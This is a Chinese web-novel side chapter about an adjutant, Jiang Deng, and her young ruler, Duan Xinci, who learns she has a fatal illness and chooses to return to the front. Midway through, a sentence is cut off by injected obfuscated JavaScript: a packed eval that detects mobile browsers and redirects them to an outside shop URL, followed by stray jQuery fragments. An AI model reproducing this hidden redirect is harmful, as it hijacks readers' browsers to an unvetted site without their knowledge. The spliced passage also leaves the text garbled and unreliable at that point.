(君臣番外)
江灯是劳伦斯手下人人敬重的得力干将。25岁晋升到会长副官兼总指挥官的位置,至此一坐就是三十余年。
劳伦斯死后,她迎来自己这一生要效忠的第二位会长。
三代会长——段心慈。
江灯本以为对方会和二代会长一样是个能言善辩,对外锱铢必较,对内安定人心的高手。
直到15岁的女孩被带到她面前。
党争暗杀者的子弹明射向继位者后心。江灯还没来得及提醒,少年已经后撤一步避开子弹的轨迹,从身后摸出一把手枪。
抬枪、射击。
下个瞬间是子弹穿透□□的声音,暗杀者的尸体从折叠空间里掉出。
整个过程没有超过3秒。
江灯至此明白裴柯利哀·劳伦斯命她接回来的不是类似‘王位继承人’的角色,而是一台杀戮机器。
‘怪不得。’
江灯心脏重重一跳。
怪不得二代会长在暗格里留下象征旧王权力的手谕:一份给予她能打着‘清君侧’的名号,进行实际意义上‘清君’的手谕。
她本以为是裴柯利哀终于被暗无天日的工作逼疯(不能保证一个猝死之人在死前保持健康的精神状态)而生的产物。
按理说这种东西的存在一旦让三代会长知道,她们之间必然会产生隔阂。
江灯本想在见到段心慈后将这份手谕焚毁。
现在,江灯迟疑了。
但她知道,无论如何在段心慈没有表现出明显不受控之前,自己不能有丝毫僭越。
统治者交替频繁,在现下只有坏处,没有好处。
‘辅佐她。’
江灯暗暗发誓不管往后发生什么,她都务必把段心慈死死按在三代会长的座位上。
利诱不行就威逼。
再不济把段心慈的精神力废了,让她当个衣食无忧的傀儡,也好过在这样一个内忧外患的时刻出现显眼的弱点。
然而在相处三个月后,江灯发现段心慈远比自己想象中要省心得多。
虽然为人沉默寡言了些,作为统治者亲和力差了些。
但对于自己不懂的外交政策,御下之术,她完全放权给江灯。
主打一个不懂不学不逞能。
有仗就打,有刺客就反杀。
至于打打杀杀之外的事,江灯最终咽下心里劝学的话。
古往今来,这么让下属省心的统治者很少见了。她不能既要还要。
江灯坐在办公室头痛地揉了揉脑袋,看着手里递上来的第377份外交议和书怀疑自己要步劳伦斯的后尘……
性格强势的副官本以为她能和这位三代会长一直井水不犯河水地相安无事下去。
直到…三代会长继位的第三年。
江灯单手抱着将近二十千克有余的待销毁机密文件走在白惨惨的船舱过道里,下属跟在她身后汇报工作。
托这些文件的福,她现在体格看起来比每天在战场上浴血厮杀的段心慈还要健壮。
诡异的优越感油然而生。
江灯抬手看了眼腕表:下午一点二十。
“给你十分钟择重汇报近况,余下的直接在接下来的会议上说。”
这次来汇报的下属是个年轻女人,讲话利索。深得江灯信赖。
她花了九分钟出头将近期重要事件汇报完毕。
江灯敏锐地觉察到她还有未尽之言:“还有什么事?快点说。”
她很忙,没空陪谁玩吞吞吐吐的游戏。
下午一点半开会,一直开到晚上七点。
要讨论的内容包括但不限于:
战事评估——那些异族简直就像飞蛾扑火一般,杀不尽……到底是出了什么问题。总不可能全是长生种……他们的武器研发部必须各个方面都跟上。
外交态度——强硬,一定要强硬。稍微择中一些都会给那些星际异族人类很好欺凌的错觉。
医疗……如果他们不希望一场小瘟疫毁了全人类的话就继续忽视下去吧!她还要和那些说她滥用私权流放三代会长去边境吃苦的家伙打口水仗。
‘流放段心慈?’
‘究竟是哪个脑袋空空的蠢货臆想出来的?’
江灯简直快要气笑了。
假设会议侥幸在晚七点准时结束,她只有一个小时的吃饭时间。晚上八点到九点半是体能,格斗训练,所有人都要参加。
花半个小时洗漱,她就能上床睡觉了……
那是不可能的。
她还得自学半个小时政治家必备读物。
二十二点准时入睡,二十二点三十未能入眠给自己打一针绿色安眠药。
倒头就睡。
第二天早上六点半准时起床,又是新的一天。
年轻就是好,有的是干劲。
谁敢浪费她的时间她就要和谁拼命。
下属看着脸色愈发阴沉可怖的总指挥咽了咽唾沫:“其实……是捷报。”
“哦哦,捷报。”
江灯从一开始听到这两字会激动地买瓶香槟庆祝,到账户余额所剩不多只用了短短半年。现在对两个词已经麻木了。
‘太不应该了。’
江灯决定反思一下自己,回家路上带瓶香槟庆祝一番。
下属话到嘴边滚了两圈,还是觉得一吐为快的好:“这次!这次和之前不一样!”
江灯心底咯噔一下。
‘段心慈出事了?’
‘不对,如果会长出事就轮不到下属来通知我,是前线直接打过来。’
‘所以……’
她放松下来:“究竟出什么事了?”
“这一次阵亡人数是零!总指挥!我们一个人也没死!”
下属还在喋喋不休地兴奋道:“会长也太厉害了…二代到底是怎么选的,太神奇了。有三代会长在,群众安全感调查指数直线提升了!“
江灯脚下一顿,血液逆行的怪诞感在体内翻涌。
‘怎么可能……’
‘红色警报的森林虫潮……至少由5只SSS级别的虫族首领共同组织发起的袭击。’
S级虫族能轻易撕裂战斗星舰,SS级虫族能轻易抗下歼星炮的连续轰炸。它们甚至能和行星达成共鸣,编织共振网。一旦织网成功,网内一切活物尽数绞杀。
而SSS级的虫族……能轻易做到以上全部,并且只会更强……更难以预测。
它们极少出没,人类对SSS级虫族的了解甚至没有百分之三。
往年遇到零星两三只,都是依靠人命填进去的……五只3S,下属说除了段心慈全军覆没她都觉得正常无比。
‘偏偏……无人阵亡???’
‘裴柯利哀·劳伦斯…当初究竟选定了怎样一头怪物……’
‘……他真的知道自己在做什么吗?’
这样的人可以做元帅,甚至取代她江灯做总指挥……江灯不会有半句异议。
但是会长?
她和二代之间总有一个是疯子。
寒意爬上江灯的脊背,她顺着下属的话附和却心不在焉。
江灯表现得太明显,下属敏锐觉察到她的不安,逐渐沉默。
在下午的会议上,江灯听着一众高层对三代如同神明,毫无底线的吹捧,眼底寒意愈重。
战神,希望,燎原之火……有段心慈的地方就有胜利。
……哈。
一群蠢货。
他们在说什么疯话……
会议结束的夜晚无比寂静,江灯靠在床头点开白天前线发来的视频。
从晃动的镜头就可以看出录制视频的人究竟有多兴奋,虫族狰狞的残肢断臂漂浮在宇宙中,其中没有属于人的。
江灯不能感同身受这份兴奋,她的目光紧紧跟随在那道深色的身影上。
歼星炮轰不碎的SSS级虫族,在段心慈精神链构筑的刀下如同黄油融化…被轻而易举劈成两半。
5只,各自领了五刀就死了。
没有她以为花里胡哨的战术,没有打斗技巧。
只有最野蛮、存粹的暴力。
江灯盯着屏幕里那张苍白得不健康的脸,灰暗沉静的眼瞳里转身即逝的癫狂……
‘啪嗒——’
联络环掉在地上的声音清晰可闻。
她不会是……最后一个看到这份视频的。
……对吧。
全息屏幕反复播放段心慈屠杀高阶虫族的过程,江灯完全不想去看。
作为三代会长唯一的副官,她不得不看。
白天几经压抑的惊悚之感侵占了江灯的全部心绪。
她想起会议室里那群高层对段心慈神乎其神的吹捧。以及就在前天,医疗部正式确认的疾病——SW精神逸散。
SWP值越高,越容易在后期逸散,崩溃。
一条条,一例例……哪一样单独拎出来都是致命的存在。
现在已经是23点,还有一个小时就是明天。
再过七个小时就是天亮。
江灯不想等什么狗屁的天亮。
23:01她拨号前线的通讯——
忙音。
忙音。
还是忙音。
最坏的设想成真,她成了最后一个看到这份视频的人。
而先前看见这份视频的每一位高层都心照不宣地选择瞒下。
他们算准了江灯打开视频的时间,绝不会是在会议前。
‘他们到底打算做什么?’
江灯咬紧牙关:‘那群眼里只有自己利益的疯子!’
他们是要让段心慈一无所觉在这个位置上燃烧到最后,连骨灰都不剩下吗?!
这是背叛。
江灯第一次使用特权,直接拨通段心慈的联络号。
‘拜托。一定要接。’
冷汗顺着脖颈滑进衣领,每一秒都如此难挨。
直到——
“江灯?”
段心慈的声音响起。
“我这边一切都好。”
江灯浑身脱力地靠在冰凉的床板上,用手背抵住双眼:‘不,你不好。’
“……段。回来。”
副官知道这个要求对于出征在外,年轻的统治者来说太无礼,且没有充分的理由。
但在所有人都选择隐瞒段心慈可能患病的情况下,她能说的东西都太苍白,片面又没有说服力。
‘不如不说。’
江灯是这样想的。
“……理由?”
通讯另一端,段心慈暗自腹诽:将在外还君命有所不受呢。
怎么到她这里还反过来了。
房间里,青年的声音有些失真。但毕竟还活着。
江灯做了个深呼吸,冰冷的空气灌进肺部帮助她顺利压下即将崩溃的声线:“我这里,有一件事。”
“只能你亲自来做。”
‘SW健康测试。’
“只有你。你要回来。没了你不能行。”
她竭力使自己的语气听起来足够镇定、可信。
只要三代会长自己提出回总部,不会有任何人阻拦她。
若是有那个不长眼的蠢货阻拦她,段心慈也会自觉事情出了问题。
漫长窒息的沉默里江灯心跳如擂鼓。震耳的闷痛让她喘息困难。
“江灯,你有事瞒着我。”
段心慈叹气道:“我现在就赶回去,明天早上九点我们就能见面。”
“那时请务必给我一个解释。”
三秒后,通讯终断。
江灯仰面躺在冰凉的床铺上,难得茫然。
其实她已经做好了被段心慈拒绝的准备。
那样她会亲自去前线,不惜赌上自己的性命也要把把段心慈带回集会总部。就算会被那群以自我为中心的疯子追杀到天涯海角……
段心慈之前不曾让她为难,这回也一样。
‘那个孩子,从来……很好说话。’
江灯咽下口腔内浓郁的血腥,独坐到天明。
她或许永远不会知道,那个夜晚段心慈同样未眠。
一封来自集会总部的密报被放在年轻统治者的桌面上——关于‘手谕’。
关于——
江副官的忠诚。
*
第二日 9:00A.M.
上身着黑色高领打底衫,下身同色工装长裤,踩着作战靴,身上还带着前线浓郁血腥气息的段心慈已经站在江灯的面前:“江副官,日安。”
“会长日安。”
江灯看着眼前意气风发的青年,心底又默默数了一遍段心慈的好。
不横征暴敛,+10分;不以势压人,+20分;不荒淫无度,+30分;不官僚主义,+40分……
已胜过百分之九十的集权统治者。
段心慈不知道江灯在心底夸她。她还在想如果江灯真的要杀自己,逃跑路线该怎么选。
至于杀死江灯,她没有想过。
“叫我回来是有什么事吗?”
江灯把段心慈带进医疗室,边走边说:“带你做个体检。”
“……?”
段心慈怀疑自己耳背了:“只是体检就把我叫回来了?”
‘我是什么随叫随到的家伙吗?’
“反正你已经回来了,先做个体检我们再谈不迟。”
江灯发自内心地希望这一切只是她虚惊一场。
段心慈:“……”
一小时后,医生把江灯叫了进去。
“SW逸散初期。”
医生还说了什么,中年副官已经听不见了。她感到一阵眩晕,尖锐的耳鸣在脑内爆开,眼前一黑,副官栽倒在地。
再次醒来的时,她看到坐在自己病床边的段心慈。
长发青年正在耐心地用水果刀削一只苹果。发丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509248|202926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
松散地垂落两侧,遮掩她由锋利筑就的美貌。
江灯自觉她现在的精神状态就同三代会长刀下卷卷薄薄的苹果皮,岌岌可危、一扯就断。
苹果很快就削完了,看着已经醒来的江灯段心慈犹豫片刻……将已经削好的苹果递向自己的副官。
江灯抽了抽嘴角。一个苹果而已,不至于。
“你自己吃。”
段心慈没有再递,自己三口两口啃完,苹果核被随意扔进垃圾桶。
“你……”
江灯张开嘴,却不知道自己该说什么。
你生病了。
在人类平均年龄已经高达150岁的世界,你甚至活不过25岁。
她不能这么说。那太直白,太残忍了。
“江副官。”
段心慈随手打了两泵免洗消毒剂,苹果汁液沾染的粘腻被彻底洗净。
江灯的心脏猛烈收缩。
无端的,她知道段心慈接下来要说什么。
青年略显空洞的视线越过病床,虚虚地落向窗外黑沉的星空:“我快死了。”
“你们可以开始继续物色下一任继承者,如果需要…我也会帮忙的。”
段心慈表现得太镇定了。
没有不甘,没有失控。
……没有对活下去的渴望。
江灯一把掀开被子走下床,她站在段心慈面前,双手按住青年的肩膀:“你还活着。”
“你活一天,晶体集会就永远不会有下一任。”
“除非是你钦定的人选。”
“……”
“江灯。”
中年副官有预感段心慈接下来要说的话绝对不是自己想听见的,但她无力阻止只能看着那血色浅淡的嘴里说出令人绝望的话语——
“我想回前线了。”
‘你在想什么?’
江灯试图从那双暗淡略显空茫的眼中找到答案。
“你不一定会死。”
她以为段心慈是被吓到了,于是蹲下身安慰道:“研发特效药并不需要很久。”
“最多一两年。况且你只是初期,到恶化还需要三四年的时间。”
“我知道。”
段心慈垂下眼帘:“但是我留在这里,什么也做不了。”
‘还不如趁我病要你命,去前线多杀几只异族。’
15岁辍学接手晶体集会,段心慈对自己的定位很清晰:二代钦定的战争机器。
为了稳住她,不得已让自己坐在三代会长的位置上。
江灯从来不知道段心慈是这样想的。
尽管从某种程度上,段心慈说的没有错。
她不懂人心,不懂政治。不会那些钝刀割肉,蛊惑人心的御下手段。
留在晶体集会总部,能做的少之又少。
去前线耗尽最后一滴血……是除段心慈以外,对所有人来说最好的选择。
先前执意将真相告诉段心慈,是因为她认为段心慈有知道真相的权力。
但现在,她已经知道了。并且做出那个让所有人都长舒一口气的决定。
江灯想,自己应该感到高兴的。
但是为什么……好像喘不过气。
副官没有说出什么违心的阻拦话语,段心慈就明白江灯的立场与态度了。
对方毕竟是……裴柯利哀·劳伦斯留下的人。
“谢谢你,江灯。”
‘愿意告诉我真相,没有让我不明不白地送死。’
毕竟有选择和没有选择是不一样的。
她领情。
……江灯成功被恶心了一把。
不是因为段心慈,而是被自己的伪善恶心到了。
她甚至怀疑自己是不是无意间用了什么下作手段在三代会长身上。毕竟对于江灯等一种高层来说,PUA身边人就像呼吸一样不需要经过思考。
“能告诉我,为什么还是要去前线吗?”
“如果你选择留下养病,我会站在你那边。”
‘求你,改口吧……’
江灯想:‘三四年的时间,人类并非等不起。’
只是多死一些人而已。
和段心慈的命(能瞬杀SSS虫族的人类强者的命)相比,再多的命往里填都是值得的。
“战争会死很多人吧?”
段心慈疑惑:“再死下去人类就要在星际除名了。”
“我已经找到无伤亡赢下去的方式了。”
江灯:“?”
‘合着不是偶然吗?’
就听段心慈气死人不偿命地开口:“只要他们都不上战场就好了。”
“会长,你再说一遍???”
江灯失声质问,她简直不敢相信段心慈刚刚说出什么疯话。
中年副官腾地一下站起身,人在空荡荡的病房里踱来踱去:“天啊……你到底在前线做了什么……”
“什么叫不让战士上战场?!”
她崩溃地喃喃自语:“怪不得那些老东西对你赞誉有加……合着是把子孙全都送去你那儿无伤镀金去了!”
段心慈往椅背上靠了靠:“……”
“会长,战争就是要死人的。”
“护得了一时护不了一世。你不可能一直护下去……”
江灯逼近段心慈,几乎是喊出那句残忍的话:“你会死!或许只是这几年的事又或许是百年之后!”
“而你死后,那些被三代会长守护过的人会变成连枪都抬不起的待宰羔羊!“
“……这片宇宙,容不下废物。”
积攒数日的压力爆发过后是极致的窒息。
“晶体集会的军人津贴也不会发给一群只会躲在强者身后,贪生怕死的……废物。”
江灯后退数步,颓然坐下。顺势看见段心慈愣在那里,茫然的情绪。
“但是,如果我不这样做,他们就会……”
副官听见自己效忠的会长试图用比较负面化的词汇来试图让自己接受她的想法——
“变成尸体。”
“……那是他们该做的。”江灯硬邦邦地说。
那场谈话后来变成什么样,活了两世的江灯已经记不清了。
她唯一记得是段心慈最后离去,奔赴前线的背影。
青年临行前对自己的副官说:“我接受不了。”
“我可以让他们活下去,就做不到眼睁睁看着他们去送死。”
江灯在愤怒之余感到一丝诡异的欣慰。
大概是在耗子窝里捡到猫的奇异心理作祟,她不再把自己的念头强加于段心慈。
‘就让那个人放手去做吧。’
‘初代死得也很早。’
江灯在心里大逆不道地自我安慰着。
至于那些贪生怕死的东西,她会全部处理妥当。阴鸷的杀意在江灯的眼底一闪而过。
那时她不曾想过,下一次见到自己效忠的会长,却是生离死别。